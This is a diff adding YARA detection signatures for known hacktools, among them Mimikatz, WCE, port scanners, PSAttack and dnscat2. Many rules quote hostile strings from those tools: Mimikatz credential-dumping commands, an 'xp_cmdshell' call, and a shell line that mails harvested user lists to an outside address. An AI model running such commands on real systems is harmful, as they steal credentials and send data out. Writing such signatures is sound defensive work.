+		$s1 = "ECHO rshsetup.exe is not found in the %1 directory" fullword ascii
+		$s9 = "REM %1 directory must have rshsetup.exe,rshsvc.exe and rshsvc.dll" fullword ascii
+		$s10 = "copy %1\\rshsvc.exe" fullword ascii
+		$s12 = "ECHO Use \"net start rshsvc\" to start the service." fullword ascii
+		$s13 = "rshsetup %SystemRoot%\\system32\\rshsvc.exe %SystemRoot%\\system32\\rshsvc.dll" fullword ascii
+		$s18 = "pushd %SystemRoot%\\system32" fullword ascii
+	condition:
+		all of them
+}
+
+rule gina_zip_Folder_gina {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file gina.dll"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "e0429e1b59989cbab6646ba905ac312710f5ed30"
+	strings:
+		$s0 = "NEWGINA.dll" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s3 = "WlxActivateUserShell" fullword ascii
+		$s6 = "WlxWkstaLockedSAS" fullword ascii
+		$s13 = "WlxIsLockOk" fullword ascii
+		$s14 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s16 = "WlxShutdown" fullword ascii
+		$s17 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
+	condition:
+		all of them
+}
+
+rule superscan3_0 {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file superscan3.0.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "a9a02a14ea4e78af30b8b4a7e1c6ed500a36bc4d"
+	strings:
+		$s0 = "\\scanner.ini" fullword ascii
+		$s1 = "\\scanner.exe" fullword ascii
+		$s2 = "\\scanner.lst" fullword ascii
+		$s4 = "\\hensss.lst" fullword ascii
+		$s5 = "STUB32.EXE" fullword wide
+		$s6 = "STUB.EXE" fullword wide
+		$s8 = "\\ws2check.exe" fullword ascii
+		$s9 = "\\trojans.lst" fullword ascii
+		$s10 = "1996 InstallShield Software Corporation" fullword wide
+	condition:
+		all of them
+}
+
+rule sig_238_xsniff {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file xsniff.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+	strings:
+		$s2 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s3 = "%s - simple sniffer for win2000" fullword ascii
+		$s4 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s5 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s7 = "http://www.xfocus.org" fullword ascii
+		$s9 = "  -pass        : Filter username/password" fullword ascii
+		$s18 = "  -udp         : Output udp packets" fullword ascii
+		$s19 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s20 = "  -tcp         : Output tcp packets" fullword ascii
+	condition:
+		6 of them
+}
+
+rule sig_238_fscan {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - file fscan.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		hash = "d5646e86b5257f9c83ea23eca3d86de336224e55"
+	strings:
+		$s0 = "FScan v1.12 - Command line port scanner." fullword ascii
+		$s2 = " -n    - no port scanning - only pinging (unless you use -q)" fullword ascii
+		$s5 = "Example: fscan -bp 80,100-200,443 10.0.0.1-10.0.1.200" fullword ascii
+		$s6 = " -z    - maximum simultaneous threads to use for scanning" fullword ascii
+		$s12 = "Failed to open the IP list file \"%s\"" fullword ascii
+		$s13 = "http://www.foundstone.com" fullword ascii
+		$s16 = " -p    - TCP port(s) to scan (a comma separated list of ports/ranges) " fullword ascii
+		$s18 = "Bind port number out of range. Using system default." fullword ascii
+		$s19 = "fscan.exe" fullword wide
+	condition:
+		4 of them
+}
+
+rule _iissample_nesscan_twwwscan {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - from files iissample.exe, nesscan.exe, twwwscan.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		super_rule = 1
+		hash0 = "7f20962bbc6890bf48ee81de85d7d76a8464b862"
+		hash1 = "c0b1a2196e82eea4ca8b8c25c57ec88e4478c25b"
+		hash2 = "548f0d71ef6ffcc00c0b44367ec4b3bb0671d92f"
+	strings:
+		$s0 = "Connecting HTTP Port - Result: " fullword
+		$s1 = "No space for command line argument vector" fullword
+		$s3 = "Microsoft(July/1999~) http://www.microsoft.com/technet/security/current.asp" fullword
+		$s5 = "No space for copy of command line" fullword
+		$s7 = "-  Windows NT,2000 Patch Method  - " fullword
+		$s8 = "scanf : floating point formats not linked" fullword
+		$s12 = "hrdir_b.c: LoadLibrary != mmdll borlndmm failed" fullword
+		$s13 = "!\"what?\"" fullword
+		$s14 = "%s Port %d Closed" fullword
+		$s16 = "printf : floating point formats not linked" fullword
+		$s17 = "xxtype.cpp" fullword
+	condition:
+		all of them
+}
+
+rule _FsHttp_FsPop_FsSniffer {
+	meta:
+		description = "Disclosed hacktool set (old stuff) - from files FsHttp.exe, FsPop.exe, FsSniffer.exe"
+		author = "Florian Roth"
+		date = "23.11.14"
+		score = 60
+		super_rule = 1
+		hash0 = "9d4e7611a328eb430a8bb6dc7832440713926f5f"
+		hash1 = "ae23522a3529d3313dd883727c341331a1fb1ab9"
+		hash2 = "7ffc496cd4a1017485dfb571329523a52c9032d8"
+	strings:
+		$s0 = "-ERR Invalid Command, Type [Help] For Command List" fullword
+		$s1 = "-ERR Get SMS Users ID Failed" fullword
+		$s2 = "Control Time Out 90 Secs, Connection Closed" fullword
+		$s3 = "-ERR Post SMS Failed" fullword
+		$s4 = "Current.hlt" fullword
+		$s6 = "Histroy.hlt" fullword
+		$s7 = "-ERR Send SMS Failed" fullword
+		$s12 = "-ERR Change Password <New Password>" fullword
+		$s17 = "+OK Send SMS Succussifully" fullword
+		$s18 = "+OK Set New Password: [%s]" fullword
+		$s19 = "CHANGE PASSWORD" fullword
+	condition:
+		all of them
+}
+
+rule Ammyy_Admin_AA_v3 {
+	meta:
+		description = "Remote Admin Tool used by APT group Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/gkAg2E"
+		date = "2014/12/22"
+		score = 55
+		hash1 = "b130611c92788337c4f6bb9e9454ff06eb409166"
+		hash2 = "07539abb2623fe24b9a05e240f675fa2d15268cb"
+	strings:
+		$x1 = "S:\\Ammyy\\sources\\target\\TrService.cpp" fullword ascii
+		$x2 = "S:\\Ammyy\\sources\\target\\TrDesktopCopyRect.cpp" fullword ascii
+		$x3 = "Global\\Ammyy.Target.IncomePort" fullword ascii
+		$x4 = "S:\\Ammyy\\sources\\target\\TrFmFileSys.cpp" fullword ascii
+		$x5 = "Please enter password for accessing remote computer" fullword ascii
+
+		$s1 = "CreateProcess1()#3 %d error=%d" fullword ascii
+		$s2 = "CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name." fullword ascii
+		$s3 = "ERROR: CreateProcessAsUser() error=%d, session=%d" fullword ascii
+		$s4 = "ERROR: FindProcessByName('explorer.exe')" fullword ascii
+	condition:
+		2 of ($x*) or all of ($s*)
+}
+
+/* Other dumper and custom hack tools */
+
+rule LinuxHacktool_eyes_scanssh {
+	meta:
+		description = "Linux hack tools - file scanssh"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "467398a6994e2c1a66a3d39859cde41f090623ad"
+	strings:
+		$s0 = "Connection closed by remote host" fullword ascii
+		$s1 = "Writing packet : error on socket (or connection closed): %s" fullword ascii
+		$s2 = "Remote connection closed by signal SIG%s %s" fullword ascii
+		$s4 = "Reading private key %s failed (bad passphrase ?)" fullword ascii
+		$s5 = "Server closed connection" fullword ascii
+		$s6 = "%s: line %d: list delimiter not followed by keyword" fullword ascii
+		$s8 = "checking for version `%s' in file %s required by file %s" fullword ascii
+		$s9 = "Remote host closed connection" fullword ascii
+		$s10 = "%s: line %d: bad command `%s'" fullword ascii
+		$s13 = "verifying that server is a known host : file %s not found" fullword ascii
+		$s14 = "%s: line %d: expected service, found `%s'" fullword ascii
+		$s15 = "%s: line %d: list delimiter not followed by domain" fullword ascii
+		$s17 = "Public key from server (%s) doesn't match user preference (%s)" fullword ascii
+	condition:
+		all of them
+}
+
+rule LinuxHacktool_eyes_pscan2 {
+	meta:
+		description = "Linux hack tools - file pscan2"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "56b476cba702a4423a2d805a412cae8ef4330905"
+	strings:
+		$s0 = "# pscan completed in %u seconds. (found %d ips)" fullword ascii
+		$s1 = "Usage: %s <b-block> <port> [c-block]" fullword ascii
+		$s3 = "%s.%d.* (total: %d) (%.1f%% done)" fullword ascii
+		$s8 = "Invalid IP." fullword ascii
+		$s9 = "# scanning: " fullword ascii
+		$s10 = "Unable to allocate socket." fullword ascii
+	condition:
+		2 of them
+}
+
+rule LinuxHacktool_eyes_a {
+	meta:
+		description = "Linux hack tools - file a"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
+	strings:
+		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+		$s1 = "mv scan.log bios.txt" fullword ascii
+		$s2 = "rm -rf bios.txt" fullword ascii
+		$s3 = "echo -e \"# by Eyes.\"" fullword ascii
+		$s4 = "././pscan2 $1 22" fullword ascii
+		$s10 = "echo \"#cautam...\"" fullword ascii
+	condition:
+		2 of them
+}
+
+rule LinuxHacktool_eyes_mass {
+	meta:
+		description = "Linux hack tools - file mass"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "2054cb427daaca9e267b252307dad03830475f15"
+	strings:
+		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
+		$s1 = "echo -e \"${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\\n\\r" ascii
+		$s3 = "killall -9 pscan2" fullword ascii
+		$s5 = "echo \"[*] ${DCYN}Gata esti h4x0r ;-)${RES}  [*]\"" fullword ascii
+		$s6 = "echo -e \"${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}\"" fullword ascii
+	condition:
+		1 of them
+}
+
+rule LinuxHacktool_eyes_pscan2_2 {
+	meta:
+		description = "Linux hack tools - file pscan2.c"
+		author = "Florian Roth"
+		reference = "not set"
+		date = "2015/01/19"
+		hash = "eb024dfb441471af7520215807c34d105efa5fd8"
+	strings:
+		$s0 = "snprintf(outfile, sizeof(outfile) - 1, \"scan.log\", argv[1], argv[2]);" fullword ascii
+		$s2 = "printf(\"Usage: %s <b-block> <port> [c-block]\\n\", argv[0]);" fullword ascii
+		$s3 = "printf(\"\\n# pscan completed in %u seconds. (found %d ips)\\n\", (time(0) - sca" ascii
+		$s19 = "connlist[i].addr.sin_family = AF_INET;" fullword ascii
+		$s20 = "snprintf(last, sizeof(last) - 1, \"%s.%d.* (total: %d) (%.1f%% done)\"," fullword ascii
+	condition:
+		2 of them
+}
+
+rule CN_Portscan : APT
+{
+    meta:
+        description = "CN Port Scanner"
+        author = "Florian Roth"
+        release_date = "2013-11-29"
+        confidential = false
+		score = 70
+    strings:
+    	$s1 = "MZ"
+		$s2 = "TCP 12.12.12.12"
+    condition:
+        ($s1 at 0) and $s2
+}
+
+rule WMI_vbs : APT
+{
+    meta:
+        description = "WMI Tool - APT"
+        author = "Florian Roth"
+        release_date = "2013-11-29"
+        confidential = false
+		score = 70
+    strings:
+		$s3 = "WScript.Echo \"   $$\\      $$\\ $$\\      $$\\ $$$$$$\\ $$$$$$$$\\ $$\\   $$\\ $$$$$$$$\\  $$$$$$"
+    condition:
+        all of them
+}
+
+rule CN_Toolset__XScanLib_XScanLib_XScanLib {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - from files XScanLib.dll, XScanLib.dll, XScanLib.dll"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		super_rule = 1
+		hash0 = "af419603ac28257134e39683419966ab3d600ed2"
+		hash1 = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+		hash2 = "135f6a28e958c8f6a275d8677cfa7cb502c8a822"
+	strings:
+		$s1 = "Plug-in thread causes an exception, failed to alert user." fullword
+		$s2 = "PlugGetUdpPort" fullword
+		$s3 = "XScanLib.dll" fullword
+		$s4 = "PlugGetTcpPort" fullword
+		$s11 = "PlugGetVulnNum" fullword
+	condition:
+		all of them
+}
+
+rule CN_Toolset_NTscan_PipeCmd {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - file PipeCmd.exe"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		hash = "a931d65de66e1468fe2362f7f2e0ee546f225c4e"
+	strings:
+		$s2 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s3 = "PipeCmd.exe" fullword wide
+		$s4 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s5 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "%s\\ADMIN$\\System32\\%s" fullword ascii
+		$s9 = "PipeCmdSrv.exe" fullword ascii
+		$s10 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s13 = "\\\\.\\pipe\\PipeCmd_communicaton" fullword ascii
+		$s14 = "PIPECMDSRV" fullword wide
+		$s15 = "PipeCmd Service" fullword ascii
+	condition:
+		4 of them
+}
+
+rule CN_Toolset_LScanPortss_2 {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - file LScanPortss.exe"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		hash = "4631ec57756466072d83d49fbc14105e230631a0"
+	strings:
+		$s1 = "LScanPort.EXE" fullword wide
+		$s3 = "www.honker8.com" fullword wide
+		$s4 = "DefaultPort.lst" fullword ascii
+		$s5 = "Scan over.Used %dms!" fullword ascii
+		$s6 = "www.hf110.com" fullword wide
+		$s15 = "LScanPort Microsoft " fullword wide
+		$s18 = "L-ScanPort2.0 CooFly" fullword wide
+	condition:
+		4 of them
+}
+
+rule CN_Toolset_sig_1433_135_sqlr {
+	meta:
+		description = "Detects a Chinese hacktool from a disclosed toolset - file sqlr.exe"
+		author = "Florian Roth"
+		reference = "http://qiannao.com/ls/905300366/33834c0c/"
+		date = "2015/03/30"
+		score = 70
+		hash = "8542c7fb8291b02db54d2dc58cd608e612bfdc57"
+	strings:
+		$s0 = "Connect to %s MSSQL server success. Type Command at Prompt." fullword ascii
+		$s11 = ";DATABASE=master" fullword ascii
+		$s12 = "xp_cmdshell '" fullword ascii
+		$s14 = "SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver" ascii
+	condition:
+		all of them
+}
+
+rule DarkComet_Keylogger_File
+{
+	meta:
+		author = "Florian Roth"
+		description = "Looks like a keylogger file created by DarkComet Malware"
+		date = "25.07.14"
+		score = 50
+	strings:
+		$magic = "::"
+		$entry = /\n:: [A-Z]/
+		$timestamp = /\([0-9]?[0-9]:[0-9][0-9]:[0-9][0-9] [AP]M\)/
+	condition:
+		($magic at 0) and #entry > 10 and #timestamp > 10
+}
+
+/* Mimikatz */
+
+rule Mimikatz_Memory_Rule_1 : APT {
+	meta:
+		author = "Florian Roth"
+		date = "12/22/2014"
+		score = 70
+		type = "memory"
+		description = "Detects password dumper mimikatz in memory"
+	strings:
+		$s1 = "sekurlsa::msv" fullword ascii
+	    $s2 = "sekurlsa::wdigest" fullword ascii
+	    $s4 = "sekurlsa::kerberos" fullword ascii
+	    $s5 = "sekurlsa::tspkg" fullword ascii
+	    $s6 = "sekurlsa::livessp" fullword ascii
+	    $s7 = "sekurlsa::ssp" fullword ascii
+	    $s8 = "sekurlsa::logonPasswords" fullword ascii
+	    $s9 = "sekurlsa::process" fullword ascii
+	    $s10 = "ekurlsa::minidump" fullword ascii
+	    $s11 = "sekurlsa::pth" fullword ascii
+	    $s12 = "sekurlsa::tickets" fullword ascii
+	    $s13 = "sekurlsa::ekeys" fullword ascii
+	    $s14 = "sekurlsa::dpapi" fullword ascii
+	    $s15 = "sekurlsa::credman" fullword ascii
+	condition:
+		1 of them
+}
+
+rule Mimikatz_Memory_Rule_2 : APT {
+	meta:
+		description = "Mimikatz Rule generated from a memory dump"
+		author = "Florian Roth - Florian Roth"
+		type = "memory"
+		score = 80
+	strings:
+		$s0 = "sekurlsa::" ascii
+		$x1 = "cryptprimitives.pdb" ascii
+		$x2 = "Now is t1O" ascii fullword
+		$x4 = "ALICE123" ascii
+		$x5 = "BOBBY456" ascii
+	condition:
+		$s0 and 1 of ($x*)
+}
+
+rule mimikatz
+{
+	meta:
+		description		= "mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+		tool_author		= "Benjamin DELPY (gentilkiwi)"
+      score          = 80
+	strings:
+		$exe_x86_1		= { 89 71 04 89 [0-3] 30 8d 04 bd }
+		$exe_x86_2		= { 89 79 04 89 [0-3] 38 8d 04 b5 }
+
+		$exe_x64_1		= { 4c 03 d8 49 [0-3] 8b 03 48 89 }
+		$exe_x64_2		= { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
+
+		$dll_1			= { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
+		$dll_2			= { c7 0? 10 02 00 00 ?? 89 4? }
+
+		$sys_x86		= { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
+		$sys_x64		= { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
+
+	condition:
+		(all of ($exe_x86_*)) or (all of ($exe_x64_*)) or (all of ($dll_*)) or (any of ($sys_*))
+}
+
+
+rule mimikatz_lsass_mdmp
+{
+	meta:
+		description		= "LSASS minidump file for mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$lsass			= "System32\\lsass.exe"	wide nocase
+
+	condition:
+		(uint32(0) == 0x504d444d) and $lsass
+}
+
+rule wce
+{
+	meta:
+		description		= "wce"
+		author			= "Benjamin DELPY (gentilkiwi)"
+		tool_author		= "Hernan Ochoa (hernano)"
+
+	strings:
+		$hex_legacy		= { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
+		$hex_x86		= { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
+		$hex_x64		= { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
+
+	condition:
+		any of them
+}
+
+
+rule lsadump
+{
+	meta:
+		description		= "LSA dump programe (bootkey/syskey) - pwdump and others"
+		author			= "Benjamin DELPY (gentilkiwi)"
+
+	strings:
+		$str_sam_inc	= "\\Domains\\Account" ascii nocase
+		$str_sam_exc	= "\\Domains\\Account\\Users\\Names\\" ascii nocase
+		$hex_api_call_1	= { 41 b8 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
+		$hex_api_call_2	= { 68 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
+		$str_msv_lsa	= { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 }
+		$hex_bkey		= { 4b 53 53 4d [20-70] 05 00 01 00}
+
+	condition:
+		( ($str_sam_inc and not $str_sam_exc) or $hex_api_call_1 or $hex_api_call_2 or $str_msv_lsa or $hex_bkey )
+      and not uint16(0) == 0x5a4d
+}
+
+rule power_pe_injection
+{
+	meta:
+		description		= "PowerShell with PE Reflective Injection"
+		author			= "Benjamin DELPY (gentilkiwi)"
+	strings:
+		$str_loadlib	= "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
+	condition:
+		$str_loadlib
+}
+
+rule Mimikatz_Logfile
+{
+	meta:
+		description = "Detects a log file generated by malicious hack tool mimikatz"
+		author = "Florian Roth"
+		score = 80
+		date = "2015/03/31"
+	strings:
+		$s1 = "SID               :" ascii fullword
+		$s2 = "* NTLM     :" ascii fullword
+		$s3 = "Authentication Id :" ascii fullword
+		$s4 = "wdigest :" ascii fullword
+	condition:
+		all of them
+}
+
+rule AppInitHook {
+	meta:
+		description = "AppInitGlobalHooks-Mimikatz - Hide Mimikatz From Process Lists - file AppInitHook.dll"
+		author = "Florian Roth"
+		reference = "https://goo.gl/Z292v6"
+		date = "2015-07-15"
+		score = 70
+		hash = "e7563e4f2a7e5f04a3486db4cefffba173349911a3c6abd7ae616d3bf08cfd45"
+	strings:
+		$s0 = "\\Release\\AppInitHook.pdb" ascii
+		$s1 = "AppInitHook.dll" fullword ascii
+		$s2 = "mimikatz.exe" fullword wide
+		$s3 = "]X86Instruction->OperandSize >= Operand->Length" fullword wide
+		$s4 = "mhook\\disasm-lib\\disasm.c" fullword wide
+		$s5 = "mhook\\disasm-lib\\disasm_x86.c" fullword wide
+		$s6 = "VoidFunc" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and 4 of them
+}
+
+rule VSSown_VBS {
+	meta:
+		description = "Detects VSSown.vbs script - used to export shadow copy elements like NTDS to take away and crack elsewhere"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		score = 75
+	strings:
+		$s0 = "Select * from Win32_Service Where Name ='VSS'" ascii
+		$s1 = "Select * From Win32_ShadowCopy" ascii
+		$s2 = "cmd /C mklink /D " ascii
+		$s3 = "ClientAccessible" ascii
+		$s4 = "WScript.Shell" ascii
+		$s5 = "Win32_Process" ascii
+	condition:
+		all of them
+}
+
+rule Netview_Hacktool {
+	meta:
+		description = "Network domain enumeration tool - often used by attackers - file Nv.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/mubix/netview"
+		date = "2016-03-07"
+      score = 60
+		hash = "52cec98839c3b7d9608c865cfebc904b4feae0bada058c2e8cdbd561cfa1420a"
+	strings:
+		$s1 = "[+] %ws - Target user found - %s\\%s" fullword wide
+		$s2 = "[*] -g used without group specified - using \"Domain Admins\"" fullword ascii
+		$s3 = "[*] -i used without interval specified - ignoring" fullword ascii
+		$s4 = "[+] %ws - Session - %s from %s - Active: %d - Idle: %d" fullword wide
+		$s5 = "[+] %ws - Backup Domain Controller" fullword wide
+		$s6 = "[-] %ls - Share - Error: %ld" fullword wide
+		$s7 = "[-] %ls - Session - Error: %ld" fullword wide
+		$s8 = "[+] %s - OS Version - %d.%d" fullword ascii
+		$s9 = "Enumerating Logged-on Users" fullword ascii
+		$s10 = ": Specifies a domain to pull a list of hosts from" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 2 of them ) or 3 of them
+}
+
+rule Netview_Hacktool_Output {
+	meta:
+		description = "Network domain enumeration tool output - often used by attackers - file filename.txt"
+		author = "Florian Roth"
+		reference = "https://github.com/mubix/netview"
+		date = "2016-03-07"
+      score = 60
+	strings:
+		$s1 = "[*] Using interval:" fullword
+		$s2 = "[*] Using jitter:" fullword
+		$s3 = "[+] Number of hosts:" fullword
+	condition:
+		2 of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-09
+	Identifier: PSattack
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule PSAttack_EXE {
+	meta:
+		description = "PSAttack - Powershell attack tool - file PSAttack.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/gdssecurity/PSAttack/releases/"
+		date = "2016-03-09"
+		score = 100
+		hash = "ad05d75640c850ee7eeee26422ba4f157be10a4e2d6dc6eaa19497d64cf23715"
+	strings:
+		$x1 = "\\Release\\PSAttack.pdb" fullword
+
+		$s1 = "set-executionpolicy bypass -Scope process -Force" fullword wide
+		$s2 = "PSAttack.Modules." ascii
+		$s3 = "PSAttack.PSAttackProcessing" fullword ascii
+		$s4 = "PSAttack.Modules.key.txt" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and ( $x1 or 2 of ($s*) ) ) or 3 of them
+}
+
+rule Powershell_Attack_Scripts {
+	meta:
+		description = "Powershell Attack Scripts"
+		author = "Florian Roth"
+		date = "2016-03-09"
+		score = 70
+	strings:
+		$s1 = "PowershellMafia\\Invoke-Shellcode.ps1" ascii
+		$s2 = "Nishang\\Do-Exfiltration.ps1" ascii
+		$s3 = "PowershellMafia\\Invoke-Mimikatz.ps1" ascii
+		$s4 = "Inveigh\\Inveigh.ps1" ascii
+	condition:
+		1 of them
+}
+
+rule PSAttack_ZIP {
+	meta:
+		description = "PSAttack - Powershell attack tool - file PSAttack.zip"
+		author = "Florian Roth"
+		reference = "https://github.com/gdssecurity/PSAttack/releases/"
+		date = "2016-03-09"
+		score = 100
+		hash = "3864f0d44f90404be0c571ceb6f95bbea6c527bbfb2ec4a2b4f7d92e982e15a2"
+	strings:
+		$s0 = "PSAttack.exe" fullword ascii
+	condition:
+		uint16(0) == 0x4b50 and all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-01
+	Identifier: Linux Hacktool Shark
+*/
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule Linux_Portscan_Shark_1 {
+	meta:
+		description = "Detects Linux Port Scanner Shark"
+		author = "Florian Roth"
+		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+		date = "2016-04-01"
+		super_rule = 1
+		hash1 = "4da0e535c36c0c52eaa66a5df6e070c52e7ddba13816efc3da5691ea2ec06c18"
+		hash2 = "e395ca5f932419a4e6c598cae46f17b56eb7541929cdfb67ef347d9ec814dea3"
+	strings:
+		$s0 = "rm -rf scan.log session.txt" fullword ascii
+		$s17 = "*** buffer overflow detected ***: %s terminated" fullword ascii
+		$s18 = "*** stack smashing detected ***: %s terminated" fullword ascii
+	condition:
+		( uint16(0) == 0x7362 and all of them )
+}
+
+rule Linux_Portscan_Shark_2 {
+	meta:
+		description = "Detects Linux Port Scanner Shark"
+		author = "Florian Roth"
+		reference = "Virustotal Research - see https://github.com/Neo23x0/Loki/issues/35"
+		date = "2016-04-01"
+		super_rule = 1
+		hash1 = "5f80bd2db608a47e26290f3385eeb5bfc939d63ba643f06c4156704614def986"
+		hash2 = "90af44cbb1c8a637feda1889d301d82fff7a93b0c1a09534909458a64d8d8558"
+	strings:
+		$s1 = "usage: %s <fisier ipuri> <fisier useri:parole> <connect timeout> <fail2ban wait> <threads> <outfile> <port>" fullword ascii
+		$s2 = "Difference between server modulus and host modulus is only %d. It's illegal and may not work" fullword ascii
+		$s3 = "rm -rf scan.log" fullword ascii
+	condition:
+		all of them
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-15
+	Identifier: dnscat2
+*/
+
+rule dnscat2_Hacktool {
+	meta:
+		description = "Detects dnscat2 - from files dnscat, dnscat2.exe"
+		author = "Florian Roth"
+		reference = "https://downloads.skullsecurity.org/dnscat2/"
+		date = "2016-05-15"
+		super_rule = 1
+		hash1 = "8bc8d6c735937c9c040cbbdcfc15f17720a7ecef202a19a7bf43e9e1c66fe66a"
+		hash2 = "4a882f013419695c8c0ac41d8a0fde1cf48172a89e342c504138bc6f1d13c7c8"
+	strings:
+		$s1 = "--exec -e <process>     Execute the given process and link it to the stream." fullword ascii
+		$s2 = "Sawlog" fullword ascii
+		$s3 = "COMMAND_EXEC [request] :: request_id: 0x%04x :: name: %s :: command: %s" fullword ascii
+		$s4 = "COMMAND_SHELL [request] :: request_id: 0x%04x :: name: %s" fullword ascii
+		$s5 = "[Tunnel %d] connection to %s:%d closed by the server!" fullword ascii
+	condition:
+		( ( uint16(0) == 0x457f or uint16(0) == 0x5a4d ) and filesize < 400KB and ( 2 of ($s*) ) ) or ( all of them )
+}
+
+rule WCE_in_memory {
+	meta:
+		description = "Detects Windows Credential Editor (WCE) in memory (and also on disk)"
+		author = "Florian Roth"
+		reference = "Internal Research"
+		score = 80
+		date = "2016-08-28"
+	strings:
+		$s1 = "wkKUSvflehHr::o:t:s:c:i:d:a:g:" fullword ascii
+		$s2 = "wceaux.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule pstgdump {
+	meta:
+		description = "Detects a tool used by APT groups - file pstgdump.exe"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "65d48a2f868ff5757c10ed796e03621961954c523c71eac1c5e044862893a106"
+	strings:
+		$x1 = "\\Release\\pstgdump.pdb" ascii
+		$x2 = "Failed to dump all protected storage items - see previous messages for details" fullword ascii
+		$x3 = "ptsgdump [-h][-q][-u Username][-p Password]" fullword ascii
+		$x4 = "Attempting to impersonate domain user '%s' in domain '%s'" fullword ascii
+		$x5 = "Failed to impersonate user (ImpersonateLoggedOnUser failed): error %d" fullword ascii
+		$x6 = "Unable to obtain handle to PStoreCreateInstance in pstorec.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 3 of them )
+}
+
+rule lsremora {
+	meta:
+		description = "Detects a tool used by APT groups"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "efa66f6391ec471ca52cd053159c8a8778f11f921da14e6daf76387f8c9afcd5"
+		hash2 = "e0327c1218fd3723e20acc780e20135f41abca35c35e0f97f7eccac265f4f44e"
+	strings:
+		$x1 = "Target: Failed to load primary SAM functions." fullword ascii
